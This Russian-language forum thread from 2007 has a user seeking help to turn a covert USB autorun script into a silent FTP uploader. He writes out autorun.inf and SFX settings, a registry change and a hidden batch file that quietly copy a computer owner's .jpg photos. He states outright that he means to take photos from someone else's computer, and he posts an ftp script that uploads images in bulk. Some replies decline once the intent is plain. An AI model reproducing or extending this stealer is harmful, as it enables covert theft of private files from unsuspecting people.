 |
06-08-2007, 13:16
|
#1
|
|
Гость
Сообщений: n/a
Проживание:
Регистрация:
Status:
|
Cоедение c фтп через bat/cmd фаил
Надо откопировать из опредёллный папок фотки через коммандный фаил bat(другое писать сооовсем не умею  ) на FTP. Возможнли это вообще?
Cмог сделать такую весь что бы зафигачивалось на флешку:
autorun.inf - запус foto_copy.exe
fotocopy.exe - SFX архив
Setup=REGEDIT /S file.reg - отключение показа скрытх папок 
Setup=hidcon.exe vir.bat
TempMode
Silent=1
Overwrite=1
vir.bat:
for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s, t,u,v,w,x,y,z) do if exist %%i:\jpg2\foto_copy.exe @set FLASH=%%i:
cd %Userprofile%\My Documents\
xcopy *.jpg %FLASH%\jpg2\docs\*.jpg /y /s
cd %Userprofile%\Documents\My Received Files\
xcopy *.jpg %FLASH%\jpg2\docs\*.jpg /y /s
cd %Userprofile%\Desktop\juliart\
xcopy *.jpg %FLASH%\jpg2\desk\*.jpg /y /s
exit
Последнее редактирование от maxsl : 06-08-2007 в 13:19.
|
|
|
|
06-08-2007, 13:27
|
#2
|
|
undefined
Сообщений: 5,264
Проживание:
Регистрация: 30-06-2005
Status: Offline
Репутация: 0
|
Цитата:
|
Сообщение от maxsl
Надо откопировать из опредёллный папок фотки через коммандный фаил bat(другое писать сооовсем не умею  ) на FTP. Возможнли это вообще?
|
Может и можно, но как-то сомнительно. Я бы использовал например python. Строчек в 10 кода уложиться наверное.
|
|
|
|
06-08-2007, 13:34
|
#3
|
|
Гость
Сообщений: n/a
Проживание:
Регистрация:
Status:
|
Будет ли вылезать от него окошки? Вообще вроде возможно (run / cmd / ftp - вылазить какой то фтп клиент)
|
|
|
|
06-08-2007, 13:43
|
#4
|
|
undefined
Сообщений: 5,264
Проживание:
Регистрация: 30-06-2005
Status: Offline
Репутация: 0
|
Цитата:
|
Сообщение от maxsl
Будет ли вылезать от него окошки? Вообще вроде возможно (run / cmd / ftp - вылазить какой то фтп клиент)
|
В виндах вылезает окно с командной строкой.
В линухе может и не вылезать если не надо.
Но оно и к лучшему, потому как надо смотреть, если ошибки или нет.
|
|
|
|
06-08-2007, 14:13
|
#5
|
|
Гость
Сообщений: n/a
Проживание:
Регистрация:
Status:
|
Не мог бы ты, адам, набросать тогда фтп-клиент на 10 строчек?
|
|
|
|
06-08-2007, 14:30
|
#6
|
|
undefined
Сообщений: 5,264
Проживание:
Регистрация: 30-06-2005
Status: Offline
Репутация: 0
|
|
|
|
|
06-08-2007, 14:32
|
#7
|
|
undefined
Сообщений: 5,264
Проживание:
Регистрация: 30-06-2005
Status: Offline
Репутация: 0
|
|
|
|
|
06-08-2007, 21:18
|
#8
|
|
Пользователь
Сообщений: 3,005
Проживание:
Регистрация: 07-07-2003
Status: Offline
Репутация: 10
|
Цитата:
|
Сообщение от maxsl
Надо откопировать из опредёллный папок фотки через коммандный фаил bat(другое писать сооовсем не умею  ) на FTP. Возможнли это вообще?
Cмог сделать такую весь что бы зафигачивалось на флешку:
autorun.inf - запус foto_copy.exe
fotocopy.exe - SFX архив
Setup=REGEDIT /S file.reg - отключение показа скрытх папок 
Setup=hidcon.exe vir.bat
TempMode
Silent=1
Overwrite=1
vir.bat:
for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s, t,u,v,w,x,y,z) do if exist %%i:\jpg2\foto_copy.exe @set FLASH=%%i:
cd %Userprofile%\My Documents\
xcopy *.jpg %FLASH%\jpg2\docs\*.jpg /y /s
cd %Userprofile%\Documents\My Received Files\
xcopy *.jpg %FLASH%\jpg2\docs\*.jpg /y /s
cd %Userprofile%\Desktop\juliart\
xcopy *.jpg %FLASH%\jpg2\desk\*.jpg /y /s
exit
|
А может просто wget для Windows взять?
|
|
|
|
06-08-2007, 22:15
|
#9
|
|
Гость
Сообщений: n/a
Проживание:
Регистрация:
Status:
|
Блин, то что с флешкой вариант нормальный не не катит для меня
нашёл программу File Uploader - Version 1.10 http://noeld.com
но эта зараза не копирует сабдиректории.
Повторю вопросс - Нужна программа для копирования на FTP файлов из определённых папок включая сабдиректории, и всё это не поодному файлу. Варинты - "тихое" копирование и без запросов паролей и тп
|
|
|
|
06-08-2007, 22:21
|
#10
|
|
Гость
Сообщений: n/a
Проживание:
Регистрация:
Status:
|
Да кстати, при этом должна работать перемменая %UserProfile%
|
|
|
|
06-08-2007, 23:03
|
#11
|
|
undefined
Сообщений: 5,264
Проживание:
Регистрация: 30-06-2005
Status: Offline
Репутация: 0
|
Цитата:
|
Сообщение от maxsl
Да кстати, при этом должна работать перемменая %UserProfile%
|
Я же уже кидал ссылку на скрипт, который файл закидывает на FTP
Осталось только дописать немножко.
|
|
|
|
06-08-2007, 23:18
|
#12
|
|
Гость
Сообщений: n/a
Проживание:
Регистрация:
Status:
|
И как его с компливировать (блин, не знаю как пишется правильно)
|
|
|
|
06-08-2007, 23:33
|
#13
|
|
undefined
Сообщений: 5,264
Проживание:
Регистрация: 30-06-2005
Status: Offline
Репутация: 0
|
Цитата:
|
Сообщение от maxsl
И как его с компливировать (блин, не знаю как пишется правильно)
|
никак не надо
надо поставить python виндовый и запустить
|
|
|
|
06-08-2007, 23:34
|
#14
|
|
Гость
Сообщений: n/a
Проживание:
Регистрация:
Status:
|
Твой фтп аплоад будет работать как -
# Upload a file.
localFilename = "%userprofile%\desktop\*.jpg"
remoteFilename = "*.jpg"
Не знаеш ли??
к примеру xcopy %user....%.jpg не идёт, приходится выбыирать папку и тогда использовать комманду хкопи по текущей папке
|
|
|
|
06-08-2007, 23:46
|
#15
|
|
undefined
Сообщений: 5,264
Проживание:
Регистрация: 30-06-2005
Status: Offline
Репутация: 0
|
Цитата:
|
Сообщение от maxsl
Твой фтп аплоад будет работать как -
# Upload a file.
localFilename = "%userprofile%\desktop\*.jpg"
remoteFilename = "*.jpg"
Не знаеш ли??
к примеру xcopy %user....%.jpg не идёт, приходится выбыирать папку и тогда использовать комманду хкопи по текущей папке
|
не будет
надо примерно так:
for file from files:
localFilename = "%userprofile%\desktop\"+file
remoteFilename = file
.........
надо документацию читать и писать самому
про переменные виндов ничего не знаю, но думаю их легко считать можно
погугли
|
|
|
|
06-08-2007, 23:50
|
#16
|
|
Гость
Сообщений: n/a
Проживание:
Регистрация:
Status:
|
%userprofile% перемменая Disk:\Documents And Settings\Текущий пользователь... иммена она и нужна. А как тогда присабьачить то что мне надо только определённый тип файлов?
|
|
|
|
07-08-2007, 00:00
|
#17
|
|
undefined
Сообщений: 5,264
Проживание:
Регистрация: 30-06-2005
Status: Offline
Репутация: 0
|
Цитата:
|
Сообщение от maxsl
%userprofile% перемменая Disk:\Documents And Settings\Текущий пользователь... иммена она и нужна. А как тогда присабьачить то что мне надо только определённый тип файлов?
|
Почитал немного в нете про переменную эту. Вроде должно работать все.
Файлы по расширению можно фильтровать легко.
|
|
|
|
07-08-2007, 00:51
|
#18
|
|
Гость
Сообщений: n/a
Проживание:
Регистрация:
Status:
|
Блин, программист из меня совсем никакой..... Не мог бы ты переделать это фигню немного? вынеся 5 конфигов в отедльный фаил - путь исходника, тип, сервер, логин, пароль. Из за одной подребности наврено глупо начинать учить всё это... Хотя может и начну
|
|
|
|
07-08-2007, 10:41
|
#19
|
|
undefined
Сообщений: 5,264
Проживание:
Регистрация: 30-06-2005
Status: Offline
Репутация: 0
|
Цитата:
|
Сообщение от maxsl
Блин, программист из меня совсем никакой..... Не мог бы ты переделать это фигню немного? вынеся 5 конфигов в отедльный фаил - путь исходника, тип, сервер, логин, пароль. Из за одной подребности наврено глупо начинать учить всё это... Хотя может и начну
|
Что конкретно надо? Если это нужно один раз, то смысла нет, проще руками сделать.
|
|
|
|
07-08-2007, 12:56
|
#20
|
|
Гость
Сообщений: n/a
Проживание:
Регистрация:
Status:
|
На один раз - я имел ввиду одна программка. Ипользоватся будет довольно часто под разные расширения файлов. Из аналогичных решений - троян, но в отличии от этого он будет ловится антвирусами
|
|
|
|
07-08-2007, 13:37
|
#21
|
|
undefined
Сообщений: 5,264
Проживание:
Регистрация: 30-06-2005
Status: Offline
Репутация: 0
|
Цитата:
|
Сообщение от maxsl
На один раз - я имел ввиду одна программка. Ипользоватся будет довольно часто под разные расширения файлов. Из аналогичных решений - троян, но в отличии от этого он будет ловится антвирусами
|
Ничего не понял. Зачем троян? Можно нормально задачу поставить?
Для передачи файлов существуют два режима бинарный и текстовый. Скрипт должен знать что в каком передавать.
|
|
|
|
07-08-2007, 13:54
|
#22
|
|
Гость
Сообщений: n/a
Проживание:
Регистрация:
Status:
|
Картинки это какой режим?
|
|
|
|
07-08-2007, 13:55
|
#23
|
|
Гость
Сообщений: n/a
Проживание:
Регистрация:
Status:
|
Нужно с чужого компа взять фотки, проблему с выводом сообщения фаирвола я решил
|
|
|
|
07-08-2007, 14:29
|
#24
|
|
undefined
Сообщений: 5,264
Проживание:
Регистрация: 30-06-2005
Status: Offline
Репутация: 0
|
Цитата:
|
Сообщение от maxsl
Нужно с чужого компа взять фотки, проблему с выводом сообщения фаирвола я решил
|
гы  )))
увольте 
|
|
|
|
07-08-2007, 14:42
|
#25
|
|
Гость
Сообщений: n/a
Проживание:
Регистрация:
Status:
|
Гы? А что так? Или хотя бы объясни как получить результат в этом питоне, с дельфи более менее понятно было....
|
|
|
|
07-08-2007, 14:43
|
#26
|
|
Гость
Сообщений: n/a
Проживание:
Регистрация:
Status:
|
И этож не троян - ты не влезаешь в комп, не тыришь пароли.....  )
|
|
|
|
07-08-2007, 14:45
|
#27
|
|
Администратор
Сообщений: 3,147
Проживание: Espoo
Регистрация: 04-03-2004
Status: Offline
Репутация: 10
|
Ужас...! Поставь себе CYGWIN ( www.cygwin.com) и не парься с CMD, BAT и прочими наворотами от МикиSoft.
|
|
|
|
07-08-2007, 14:46
|
#28
|
|
Администратор
Сообщений: 3,147
Проживание: Espoo
Регистрация: 04-03-2004
Status: Offline
Репутация: 10
|
В CYGWIN глянь "ncftpget", "wget".
|
|
|
|
07-08-2007, 14:47
|
#29
|
|
undefined
Сообщений: 5,264
Проживание:
Регистрация: 30-06-2005
Status: Offline
Репутация: 0
|
Цитата:
|
Сообщение от maxsl
Гы? А что так? Или хотя бы объясни как получить результат в этом питоне, с дельфи более менее понятно было....
|
На питоне такие вещи не делают 
Делай в дельфи.
|
|
|
|
07-08-2007, 14:52
|
#30
|
|
Гость
Сообщений: n/a
Проживание:
Регистрация:
Status:
|
Я дельфи последний раз запускал больше 3 лет назад, и дальше 2-ух степечитого диалога не ушёл
|
|
|
|
07-08-2007, 15:01
|
#31
|
|
undefined
Сообщений: 5,264
Проживание:
Регистрация: 30-06-2005
Status: Offline
Репутация: 0
|
Цитата:
|
Сообщение от maxsl
Я дельфи последний раз запускал больше 3 лет назад, и дальше 2-ух степечитого диалога не ушёл
|
А зачем диалоги-то? Простого консольного приложения достаточно.
|
|
|
|
07-08-2007, 15:01
|
#32
|
|
Гость
Сообщений: n/a
Проживание:
Регистрация:
Status:
|
а cygwin запускать без установки можно? То есть сохранить комманды + его испольнемый фаил?
|
|
|
|
07-08-2007, 15:02
|
#33
|
|
Гость
Сообщений: n/a
Проживание:
Регистрация:
Status:
|
Дык, в том смысле что не умею я это делать
|
|
|
|
07-08-2007, 15:29
|
#34
|
|
Гость
Сообщений: n/a
Проживание:
Регистрация:
Status:
|
Вот пример с коммандной строкой, всё классно только опят же проблемма с подкаталогами
bat:
ftp -s:script.txt
script.txt:
lcd \mylocalwebpages
open someftpserver.somedomain.org
myusername
mypassword
cd images
binary
mput *.jpg
mput *.png
bye
|
|
|
|
07-08-2007, 17:33
|
#35
|
|
Registered User
Сообщений: 262
Проживание: Kerava
Регистрация: 28-07-2006
Status: Offline
Репутация: 0
|
Цитата:
|
Сообщение от adam
В виндах вылезает окно с командной строкой.
В линухе может и не вылезать если не надо.
Но оно и к лучшему, потому как надо смотреть, если ошибки или нет.
|
Ну ,мужики,вы даёте!
В этом полный ЛОХ!
Но подскажите:
в моём Меркурий100 пропала искра на всех (4) цилиндрах.
Мне комутатор менят; или что ?
|
|
|
|
| Опции темы |
Поиск в этой теме |
|
|
|
| Опции просмотра |
Оценка этой теме |
Линейный вид
|
|
Ваши права в разделе
|
Вы не можете создавать темы
Вы не можете отвечать на сообщения
Вы не можете прикреплять файлы
Вы не можете редактировать сообщения
HTML код Выкл.
|
|
|
|
|
|